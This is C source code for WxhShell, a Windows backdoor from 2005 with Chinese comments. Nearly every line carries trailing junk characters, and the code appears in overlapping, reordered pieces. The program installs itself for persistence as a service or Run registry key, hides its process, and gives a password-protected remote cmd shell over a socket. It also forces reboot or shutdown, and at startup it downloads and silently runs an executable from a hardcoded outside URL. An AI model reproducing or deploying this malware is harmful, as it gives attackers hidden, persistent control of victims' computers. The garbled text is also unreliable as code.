    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^fS~va  
    if(Boot(SHUTDOWN)) ,_YCl09p(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LUKdu&M  
    else {  *;+lF  
    closesocket(wsh); Dw;L=4F |  
    ExitThread(0); } RG  
    } 8!me$k&  
    break; D4n ~ 2]  
    } ]Rnr>_>x;  
  // 获取shell Z'WoChjM  
  case 's': {  ;{BELv-4  
    CmdShell(wsh); rN$_(%m_N  
    closesocket(wsh); rq}ew0&/  
    ExitThread(0); _l}&|:  
    break; ^N`ar9Db  
  } wp.<}=|u  
  // 退出 $>5|TG 0i  
  case 'x': { (EuHQ &<^9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wC<!,tB(8  
    CloseIt(wsh); v2JC{XqrI  
    break; Aq QArSu,  
    } Thw E1M  
  // 离开 kP6g0,\|a|  
  case 'q': { z9&$Xao  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W?F+QmD  
    closesocket(wsh); 0l^-[jK)  
    WSACleanup(); @(Ou;Uy  
    exit(1); j3IxcG}f  
    break; }I,]"0b  
        } R(r89bTQ  
  } bNY_V;7Kw`  
  }  ~;il{ym  
mm\J]Cc`  
  // 提示信息 "J%u !~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <d$|~qS_  
} LurBqr  
  } h&[]B*BLr  
N!/^s":  
  return; z930Wi{@  
} h+CTi6-p  
,V.X-`Y  
// shell模块句柄 Skp&W*Ai  
int CmdShell(SOCKET sock) [=7|LH jU  
{ #s)6u?N  
STARTUPINFO si; kVy%y"/  
ZeroMemory(&si,sizeof(si)); @aY 8VL7C0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g G~UsA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t~Cul+  
PROCESS_INFORMATION ProcessInfo; z[}[:H8  
char cmdline[]="cmd"; =+'4u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EFqWnz  
  return 0; @lDoMm,m'  
} j5G8IP_Wx  
`kVy1WiY  
// 自身启动模式 C:0Ra^i ?L  
int StartFromService(void) DE^{8YX,  
{ K.",=\53  
typedef struct vv"_u=H  
{ #l+U(zH:JG  
  DWORD ExitStatus; ,g 6w2y7 ]  
  DWORD PebBaseAddress;  $3W[fC  
  DWORD AffinityMask; k^S=i_ U  
  DWORD BasePriority; bh3}[O,L A  
  ULONG UniqueProcessId; ,N?~je.  
  ULONG InheritedFromUniqueProcessId; hcWkAR  
}   PROCESS_BASIC_INFORMATION; # 0dN!l;  
loLQ@?E  
PROCNTQSIP NtQueryInformationProcess; op/HZa  
0}PW<lU-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7^ITedW@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >|/NDF=\s  
7Xw;TA  
  HANDLE             hProcess; !G 90oW  
  PROCESS_BASIC_INFORMATION pbi; `QnKal)  
)d2 <;c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k*w]a  
  if(NULL == hInst ) return 0; Ky8sLm@  
im Zi7o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3uZY.H+H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1*Yf[;L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V&eti2 &zO  
UMma|9l(i  
  if (!NtQueryInformationProcess) return 0; Gvb>M=9  
wbyY?tH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nz3j";d  
  if(!hProcess) return 0; ?nn`ud?f  
o6 'I%Gs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h*Rh:yCR>  
*}-X '_  
  CloseHandle(hProcess); I_6?Q^_uZ  
qb]n{b2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UwvGw5)q  
if(hProcess==NULL) return 0; \|F4@  
D}>pl8ke~g  
HMODULE hMod; ~>VEg3#F  
char procName[255]; \j+O |#`|)  
unsigned long cbNeeded; [V|,O'X ~  
E!8FZv8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _[<R<&jG  
^&03D5@LoY  
  CloseHandle(hProcess); E3X:{h/  
'nz;|6uC  
if(strstr(procName,"services")) return 1; // 以服务启动 GLp2 ?fon  
#5wOgOv  
  return 0; // 注册表启动 h q6B pE  
} &na#ES $X,  
=;W"Pi;*  
// 主模块 .0:BgM  
int StartWxhshell(LPSTR lpCmdLine) rjo/-910  
{ D^baXp8  
  SOCKET wsl; Hzcy '  
BOOL val=TRUE; wZJpSkcEx  
  int port=0; ug'I:#@2  
  struct sockaddr_in door; XZEawJ0  
IEfzu L<v  
  if(wscfg.ws_autoins) Install(); 2?u>A3^R  
x1:+M]Da  
port=atoi(lpCmdLine); ( v6tE[4  
w},' 1  
if(port<=0) port=wscfg.ws_port; cv=nGFx6  
# =V%S 2~  
  WSADATA data; I= G%r/3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u_;*Ay  
w17\ \[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F[<EXLQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y9Q-<~\z  
  door.sin_family = AF_INET; SpPG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UCj4%y6t  
  door.sin_port = htons(port); ([R}s/)$  
1+~JGY#   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L-hK(W!8pt  
closesocket(wsl); x|d Xa0=N_  
return 1; Z.am^Q^Y!  
} A{iI,IFe  
X,: pT\G  
  if(listen(wsl,2) == INVALID_SOCKET) { RrSSAoz1  
closesocket(wsl); }`8g0DPuD9  
return 1; h!5^d!2,  
} ~=h]r/b< U  
  Wxhshell(wsl); 5cO}Jp%PA  
  WSACleanup(); @kvgq 0ab  
$#2ik~]>  
return 0; )IPnSh/ <  
QWH1xId  
} '(mJ*Eb  
pi sk v[  
// 以NT服务方式启动 (JH LWA H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5LbU'5  
{ A%> Ir`I  
DWORD   status = 0; e4p:Zb:  
  DWORD   specificError = 0xfffffff; ?BT\)@ h  
/e1m1B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )f1<-a"D|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %^n9Z /I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *vc=>AEc  
  serviceStatus.dwWin32ExitCode     = 0; * t6 XU  
  serviceStatus.dwServiceSpecificExitCode = 0; 8ar2N)59  
  serviceStatus.dwCheckPoint       = 0; ML'4 2z Y  
  serviceStatus.dwWaitHint       = 0; jIv%?8+%  
 *Dtwr  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nr*~R-,\  
  if (hServiceStatusHandle==0) return; DeE-M"  
%lNv?sWb  
status = GetLastError(); s `HSTq2  
  if (status!=NO_ERROR) E/|]xKG  
{ 5tT-[mQ*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s\i=-`  
    serviceStatus.dwCheckPoint       = 0; G;_QE<V~_  
    serviceStatus.dwWaitHint       = 0; iwWy]V m7  
    serviceStatus.dwWin32ExitCode     = status; |-4C[5rM  
    serviceStatus.dwServiceSpecificExitCode = specificError; `,i'vb`W#b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^wPKqu)^  
    return; lwYk`'  
  } oJe9H<  
J\<7M8   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0* < gGC  
  serviceStatus.dwCheckPoint       = 0; L@2%a'  
  serviceStatus.dwWaitHint       = 0; #c@Dn.W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \?c0XD  
} ^8$CpAK]M  
]y3V ^W#  
// 处理NT服务事件,比如:启动、停止 Ni*f1[sI<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o"~ODN" L  
{ @/*{8UBP  
switch(fdwControl) Zs<}{`-  
{ Bzn{~&i?W:  
case SERVICE_CONTROL_STOP: jLX{$,  
  serviceStatus.dwWin32ExitCode = 0; <8Ek-aNNt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xy>wA  
  serviceStatus.dwCheckPoint   = 0; Z.Lm[$/edn  
  serviceStatus.dwWaitHint     = 0; _5%SYxF*y  
  { =Xh^@ OR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kF.!U/C  
  } G,M &z>ub0  
  return; \bYuAE1q  
case SERVICE_CONTROL_PAUSE: ljVtFm<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YW "}hU  
  break; -Bbg'=QZa  
case SERVICE_CONTROL_CONTINUE: vzJ69%E_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .w/#S-at  
  break; 3":ef|w]  
case SERVICE_CONTROL_INTERROGATE: x?Z)q4  
  break; Cbm  
}; 9)0AwLlv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LO]D XW 9  
} Qw4P{>|Y  
^I3cU'X  
// 标准应用程序主函数 UMwB.*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @%&;V(  
{ $ r|R`n=  
gS4zX>rqe  
// 获取操作系统版本 A`<#}~A  
OsIsNt=GetOsVer(); .o91^jt  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  hLFf  
GHj1G,L@\  
  // 从命令行安装 *@o@>  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7Ipt~K}  
0}Rxe  
  // 下载执行文件 \]GO*]CaV  
if(wscfg.ws_downexe) { B!GpD@U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H `y.jSNi  
  WinExec(wscfg.ws_filenam,SW_HIDE); v1<gNb)`  
} `bu3S }m7  
Af1izS3  
if(!OsIsNt) { yjs5=\@  
// 如果时win9x,隐藏进程并且设置为注册表启动 J"QXu M  
HideProc(); 3 Yf%M66t  
StartWxhshell(lpCmdLine); L0uvRge  
} xEQ2iCeC  
else 'ah|cMRn  
  if(StartFromService()) H .)}|  
  // 以服务方式启动 EQ`;=I3J9y  
  StartServiceCtrlDispatcher(DispatchTable); kf\n  
else Yao>F--?  
  // 普通方式启动 '<~rV  
  StartWxhshell(lpCmdLine); w]]`/`  
d=V4,:=S  
return 0; )~xL_yW_X  
} .z&V!2zp  
-/|O*oZ  
#%z--xuJL  
#Z<pks2 y  
=========================================== D 7 l&L  
L>+g;GJ  
rt$z&#M  
pq_DYG]  
~K%]9  
$l-|abLELz  
" f gI.q  
P`6 T;|VDk  
#include <stdio.h> 75i M_e\  
#include <string.h> i@e.Uzn  
#include <windows.h> /*p4(D_A  
#include <winsock2.h> d,[.=Jqv[  
#include <winsvc.h> ^-{ 1]G:  
#include <urlmon.h> hPr*<2mp  
Sxf|gDC  
#pragma comment (lib, "Ws2_32.lib") !e@G[%k  
#pragma comment (lib, "urlmon.lib") rubqk4  
QT{$2 7;  
#define MAX_USER   100 // 最大客户端连接数 aGVzg$  
#define BUF_SOCK   200 // sock buffer "wL~E Si  
#define KEY_BUFF   255 // 输入 buffer A[J9v{bD  
0CS^S1/[B`  
#define REBOOT     0   // 重启 nV38Mj2U  
#define SHUTDOWN   1   // 关机 x&sT )=#  
MK9?81xd  
#define DEF_PORT   5000 // 监听端口 Fn$/ K  
Nge_ Ks  
#define REG_LEN     16   // 注册表键长度 WI9'$hB\  
#define SVC_LEN     80   // NT服务名长度 )?~3fb6^  
YS=|y}Q|7d  
// 从dll定义API Ug^C}".&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !+& NG&1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h95C4jBE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o_/C9[:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SF+ ^dPwj  
BL0WI9  
// wxhshell配置信息 Jpg_$~k  
struct WSCFG { &RRggPx"k  
  int ws_port;         // 监听端口 EceZ1b  
  char ws_passstr[REG_LEN]; // 口令 1  6;l,@  
  int ws_autoins;       // 安装标记, 1=yes 0=no * 2[&26D  
  char ws_regname[REG_LEN]; // 注册表键名 mXlXB#N  
  char ws_svcname[REG_LEN]; // 服务名 P]!$MOt  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @iB**zR/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L]B]~Tw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GJWC}$#T Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /k<*!H]KSg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y$s}-O]/-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L`FsK64@  
)<G>]IP<  
}; d|TRP,y  
seY0"ym&e  
// default Wxhshell configuration 2g-'.w  
struct WSCFG wscfg={DEF_PORT, 8F($RnP3  
    "xuhuanlingzhe", Lv,~Mf1|  
    1, JfKhYRl  
    "Wxhshell", z/ T|  
    "Wxhshell", _tL+39 u  
            "WxhShell Service", S;NChu?8  
    "Wrsky Windows CmdShell Service", WhE5u&`  
    "Please Input Your Password: ", OzBo *X/p  
  1, QNFA#`H  
  "http://www.wrsky.com/wxhshell.exe", <kn#`w1U'  
  "Wxhshell.exe" LW_ Y  
    }; WzgzI/  
I /3=~;u  
// 消息定义模块 ^i&Qr+v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )ZzwD]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]]o7ej  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i051qpj  
char *msg_ws_ext="\n\rExit."; vq$%Ug/B  
char *msg_ws_end="\n\rQuit."; \F,?ptu  
char *msg_ws_boot="\n\rReboot..."; e;x`C  
char *msg_ws_poff="\n\rShutdown..."; GW'=/ z7  
char *msg_ws_down="\n\rSave to "; 6v GcM3M  
Gcg`Knr  
char *msg_ws_err="\n\rErr!"; Xfx(X4$9  
char *msg_ws_ok="\n\rOK!"; }@@1N3nnxV  
0LoA-c<Ay  
char ExeFile[MAX_PATH]; M7yJ2u<Ty  
int nUser = 0; meR%);\  
HANDLE handles[MAX_USER]; v|_?qBs"  
int OsIsNt; l,h#RTfry  
2t1WbP1  
SERVICE_STATUS       serviceStatus; v0X5`VV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )ty *_@N0  
[rTV)JsTb  
// 函数声明 S) V uT0  
int Install(void); @l"GfDf L9  
int Uninstall(void); JC{}iG6r+  
int DownloadFile(char *sURL, SOCKET wsh); kSU*d/}*u  
int Boot(int flag); <S $Z  
void HideProc(void); )%;#~\A  
int GetOsVer(void); @`}'P115@  
int Wxhshell(SOCKET wsl); {xEX_$nv  
void TalkWithClient(void *cs); wX#\\Jgi  
int CmdShell(SOCKET sock); U,iTURd  
int StartFromService(void); #` z!f0 P  
int StartWxhshell(LPSTR lpCmdLine); s`C#=l4  
dp)lHBV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )~d2`1zGS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^!{oyw   
9<7Q{  
// 数据结构和表定义 8i-?\VZD  
SERVICE_TABLE_ENTRY DispatchTable[] = TW3:Y\p  
{ wgLS9.  
{wscfg.ws_svcname, NTServiceMain}, cJ]`/YJ  
{NULL, NULL}  t8GJ;  
}; HLYM(Pz  
=Z#tZ{"  
// 自我安装 ~l6e&J  
int Install(void) ,wO5IaV  
{ -rH4/Iby  
  char svExeFile[MAX_PATH]; Y141Twjvd  
  HKEY key; 54uTu2  
  strcpy(svExeFile,ExeFile); 5*g@;aR1  
e-qr d  
// 如果是win9x系统,修改注册表设为自启动 1}[\@n+b  
if(!OsIsNt) { H _3gVrP_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I_pA)P*Q(6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wk9tJ#}  
  RegCloseKey(key); U45/%?kE)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2d.I3z:[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y H+CyL\  
  RegCloseKey(key); G#dpSNV3|  
  return 0; bs+KcY:N]  
    } cR@z^  
  } s ]QzNc  
} i":-g"d  
else { NPB':r-8  
NLz$jk%=g  
// 如果是NT以上系统,安装为系统服务 Qs% f6rL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B|,6m 3.  
if (schSCManager!=0) KL5rF,DME  
{ ~PlwPvWo  
  SC_HANDLE schService = CreateService 5I&^n0h|&  
  ( [&{"1Z  
  schSCManager, DN^ln%#  
  wscfg.ws_svcname, G)<k5U4  
  wscfg.ws_svcdisp, oR-_=U^  
  SERVICE_ALL_ACCESS, t9K.Jc0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zv0RrF^  
  SERVICE_AUTO_START, 2tWUBt\,g  
  SERVICE_ERROR_NORMAL, (O`=$e  
  svExeFile, +IS$Un  
  NULL, r<|\4zIo/  
  NULL, cz T@txF  
  NULL, dk(-yv'  
  NULL, }U^9(  
  NULL [MiD%FfcNH  
  ); ZgXh[UHQy  
  if (schService!=0) H}U&=w'  
  { |LNXu  
  CloseServiceHandle(schService); l^Lg"m2  
  CloseServiceHandle(schSCManager); ]iz5VI@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AOWI`  
  strcat(svExeFile,wscfg.ws_svcname); t?0=;.D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nc"h8p?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uO^{+=;A =  
  RegCloseKey(key); Tu6he8Q-  
  return 0; 3_ zI$Z  
    } } KMdfA  
  } 6@I7UL >  
  CloseServiceHandle(schSCManager); TTOd0a  
} Q'|cOQX  
} G*"N}M1)  
Hb]7>[L  
return 1; kb%W3c9HO  
} Q z/pz_}  
8F[j}.8q  
// 自我卸载 VX>_Sp s  
int Uninstall(void) yRgo1ow]  
{ 2l!"OiB.P  
  HKEY key; *|=&MU*+  
r?[mn^Bo5  
if(!OsIsNt) { '[juPI(!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u j:w^t ][  
  RegDeleteValue(key,wscfg.ws_regname); Y]Fq)  -  
  RegCloseKey(key); !^m5by  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _nRshTt`V&  
  RegDeleteValue(key,wscfg.ws_regname); M>]%Iu  
  RegCloseKey(key); 2i>xJMW  
  return 0; T@RzY2tz  
  } @DUdgPA  
} )0GnTB;5Z  
} O]PfQ  
else { tlcA\+%)  
}6S4yepl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >`NM?KP s  
if (schSCManager!=0) ? {&#l2  
{ m+u>%Ys`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %(kq Hxc  
  if (schService!=0) .i. |wY  
  { vj_oMmjKw  
  if(DeleteService(schService)!=0) { k|lxJ^V#  
  CloseServiceHandle(schService); BF_k~  
  CloseServiceHandle(schSCManager); JPpYT~4  
  return 0; Y"lxh/l$}  
  } q2 f/#"k  
  CloseServiceHandle(schService); q%y_<Fw#E  
  } sZbzY^P  
  CloseServiceHandle(schSCManager); O%)9t FT  
} MkYem6  
} z44uhRh  
21WqLgT3 4  
return 1; z`Q5J9_<cV  
}  $}F]pa[  
g9 yCd(2<5  
// 从指定url下载文件 ^Qr P.l#pZ  
int DownloadFile(char *sURL, SOCKET wsh) cPN7^*  
{ AnyFg)a<  
  HRESULT hr; P! 3$RO  
char seps[]= "/"; 5m bs0GL  
char *token; Eyn3Vv?v  
char *file; ~::R+Lh(  
char myURL[MAX_PATH]; fwnpmuJ  
char myFILE[MAX_PATH]; Sx~_p3_5U  
L.Lt9W2fi  
strcpy(myURL,sURL); '~f@p~P  
  token=strtok(myURL,seps); Z8#I  
  while(token!=NULL) y,r`8  
  { R5i8cjKZ?w  
    file=token; y-@!, @e  
  token=strtok(NULL,seps); feopO j6~+  
  } I{AU,  
N Hh  
GetCurrentDirectory(MAX_PATH,myFILE); U-? ^B*<  
strcat(myFILE, "\\"); I/> IB   
strcat(myFILE, file); $Us@fJr  
  send(wsh,myFILE,strlen(myFILE),0); kg61Dgu  
send(wsh,"...",3,0); ;`+RSr^8$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sogbD9Jc  
  if(hr==S_OK) ."^dJ |fN  
return 0; _Pz3QsV9  
else j(BS;J$i  
return 1; O}`01A!u;  
]q3Kd{B  
} \|pAn  
T7T!v  
// 系统电源模块 <F3sQAe  
int Boot(int flag) aK>9:{]ez  
{ ?% X9XH/!  
  HANDLE hToken; `%XgGHiE  
  TOKEN_PRIVILEGES tkp; ^kD? 0Fm  
^VIUXa  
  if(OsIsNt) { G9a%N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^(\Gonf<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vX/A9Qi,U.  
    tkp.PrivilegeCount = 1; (p?3#|^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z\h+6FCD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #-Rz`Y<&  
if(flag==REBOOT) { ]p*) PpIl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :fYwFD( 9  
  return 0; @r]s9~Lx9  
} 48ma&f;  
else { =qtoDe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iy#OmI>j  
  return 0; YJ^ lM\/<  
} h]MVFn{  
  } -5cH$]1\  
  else { .fsk DW  
if(flag==REBOOT) { ,1[??Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3.0c/v5Go  
  return 0; )c'>E4>  
} {e%abr_B  
else { Riw7<j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q kZM(pG  
  return 0; eE{L>u  
} :.Qe=}9  
} uBTT {GGQ  
U>+~.|'V9  
return 1; N39nJqo>"  
} QP[a^5;Tt  
9sCk\`n  
// win9x进程隐藏模块 8$v7|S6 z  
void HideProc(void) W^ :/0WR  
{ z^/GTY  
D;I`k L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yUW&Wgc=:  
  if ( hKernel != NULL ) 9f^PR|F  
  { Inc:t_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M',D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6XAr8mw9  
    FreeLibrary(hKernel); 3NN'E$"3  
  } bVeTseAG  
--twkD  
return; j?f <hQ  
} {&#~t4  
ww($0A`ek  
// 获取操作系统版本 qZJ*J+  
int GetOsVer(void) Z&w^9;30P  
{ kN j3!u$  
  OSVERSIONINFO winfo; V"H 7zx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Jo3(bl %u  
  GetVersionEx(&winfo); unnx#e]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V*zz- 2 _i  
  return 1; klJ[ {p  
  else F!&pENQ  
  return 0; 2]3HX3  
} MgQU6O<  
"-n%874IT  
// 客户端句柄模块 3> #mO}\  
int Wxhshell(SOCKET wsl) 5; PXF  
{ $XQxWH|  
  SOCKET wsh; eqZ+no  
  struct sockaddr_in client; -+rF]|Wi  
  DWORD myID; #a |ch6B  
_`_IUuj$E  
  while(nUser<MAX_USER) !e'0jf-~  
{ O_Rcd&<mr  
  int nSize=sizeof(client); NceB'YG|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t/*K#]26  
  if(wsh==INVALID_SOCKET) return 1; 7+a%ehwU  
F>QT|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "Wk{4gS7l  
if(handles[nUser]==0) r^A#[-VyNP  
  closesocket(wsh); `SjD/vNE  
else [b.'3a++  
  nUser++; Yb\\ w<@g  
  } iEpq*Qj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "b>KUzuYT  
d%lHa??/ h  
  return 0; RF5q5<0  
} [9O~$! <%  
E,LYS"%_  
// 关闭 socket F[kW:-ne@Z  
void CloseIt(SOCKET wsh) zZ9<4"CIk  
{ 9*|3E"Vr  
closesocket(wsh); %md^S |  
nUser--; V 7l{hEo3?  
ExitThread(0); }11`98>B6:  
} %i&/$0.8  
^+as\  
// 客户端请求句柄 tw/#ENo  
void TalkWithClient(void *cs) 6%.  
{ 28R>>C=R  
'xbERu(Y  
  SOCKET wsh=(SOCKET)cs; A6N~UV*_  
  char pwd[SVC_LEN]; AzW7tp;t =  
  char cmd[KEY_BUFF]; qEJ8o.D-=  
char chr[1]; u\XkXS`  
int i,j; 8pPC 9ew\=  
^.#X<8hr  
  while (nUser < MAX_USER) { 3kiE3*H  
9Yl8n dP^E  
if(wscfg.ws_passstr) { /S]:dDY9K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [vWkAJ'K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `pi-zE)  
  //ZeroMemory(pwd,KEY_BUFF); t0bhXFaiE  
      i=0; abo>_"9-  
  while(i<SVC_LEN) { u`Z0{d  
zr.+'  
  // 设置超时 .%?- As  
  fd_set FdRead; `z}vONXpAX  
  struct timeval TimeOut; * -KJh_  
  FD_ZERO(&FdRead); j/H>0^  
  FD_SET(wsh,&FdRead); c6,s+^^  
  TimeOut.tv_sec=8; l Io9,Ke  
  TimeOut.tv_usec=0; A<SOT>m]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1l+kO,X]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5L-lpT8P  
[0u.}c;(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EmX>T>~#D  
  pwd=chr[0]; v7;J%9=0D`  
  if(chr[0]==0xd || chr[0]==0xa) { ;%u_ ;,((  
  pwd=0; Dxt),4 %P  
  break; +Y>"/i. N  
  } R CBf;$O  
  i++; : 8^M5}  
    } _8Nw D_"  
1Xy8|OFc[  
  // 如果是非法用户,关闭 socket 6?V<BgCC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a)!![X?\  
} 9- xlvU,o  
]V36-%^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ><NI'q*cQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <0u\dU  
vi]r  
while(1) { &8<<!#ob  
0R HS]cN  
  ZeroMemory(cmd,KEY_BUFF); +yf(Rs)!  
GilQtd3\  
      // 自动支持客户端 telnet标准   A~Z6jK  
  j=0; 1, "I=  
  while(j<KEY_BUFF) { d,c8Hs8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K8HIuQ!=  
  cmd[j]=chr[0]; #l*a~^dhqC  
  if(chr[0]==0xa || chr[0]==0xd) { o84UFhm   
  cmd[j]=0; 3CR@' qG-  
  break; [%@2o<  
  } 4_PCq Ep)  
  j++; pOC% oj  
    } f64(a\Rw!^  
M1oPOC\0.  
  // 下载文件 ^WE4*.(  
  if(strstr(cmd,"http://")) { +|y*}bG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |K L')&"  
  if(DownloadFile(cmd,wsh)) GX4QaT%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z_H?WGO  
  else @#RuSc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q6"uK  
  } v*E(/}<v  
